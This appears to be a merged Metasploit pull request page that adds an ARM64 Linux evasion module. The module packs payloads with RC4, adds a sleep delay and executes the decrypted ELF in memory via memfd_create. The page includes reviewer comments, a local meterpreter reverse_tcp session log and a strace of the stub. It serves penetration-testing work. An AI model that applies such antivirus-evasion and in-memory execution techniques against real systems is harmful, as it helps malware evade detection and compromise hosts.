adding RC4 packer arm64, rc4 decrypt routine and sleep evasion routine#20964
Merged
dledda-r7 merged 9 commits intorapid7:masterfrom Feb 26, 2026
Merged
Conversation
dledda-r7
reviewed
Feb 13, 2026
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Contributor
|
@litemars We should include somewhere in the description that this evasion module works only with Linux targets with kernel >= 3.17 (considering mainline kernel) or in general kernel with |
dledda-r7
reviewed
Feb 17, 2026
dledda-r7
reviewed
Feb 17, 2026
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
dledda-r7
reviewed
Feb 19, 2026
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
dledda-r7
approved these changes
Feb 25, 2026
Contributor
dledda-r7
left a comment
There was a problem hiding this comment.
Looks good to me! awesome work 🎉
msf payload(linux/aarch64/meterpreter/reverse_tcp) >
msf payload(linux/aarch64/meterpreter/reverse_tcp) >
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (989676 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:47792) at 2026-02-25 09:40:18 -0500
msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 2
[*] 127.0.0.1 - Meterpreter session 2 closed. Reason: User exit
msf payload(linux/aarch64/meterpreter/reverse_tcp) >
┌──(kali㉿kali)-[~/Public]
└─$ qemu-aarch64 -strace payload.aarch64.rc4.elf
527505 nanosleep(140470822891024,0,0,0,0,0) = 0
527505 mmap(NULL,538,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00007fc1f32b4000
527505 memfd_create(140470822891040,1,538,140470822890784,26,245) = 3
527505 write(3,0xf32b40be,348) = 348
527505 execve("/proc/self/fd///////////////3",{)
┌──(kali㉿kali)-[~/Public]
└─$
chore: moved aarch64 rc4 packer to arch specific folder
Contributor
Release NotesAdds a new Linux evasion module for arm64, a packer using rc4 encryption, in memory execution of the elf binary, and sleep evasion. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
This PR introduces an ARM64 (AArch64) Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.
What’s included
How to use it - BASIC
Optional: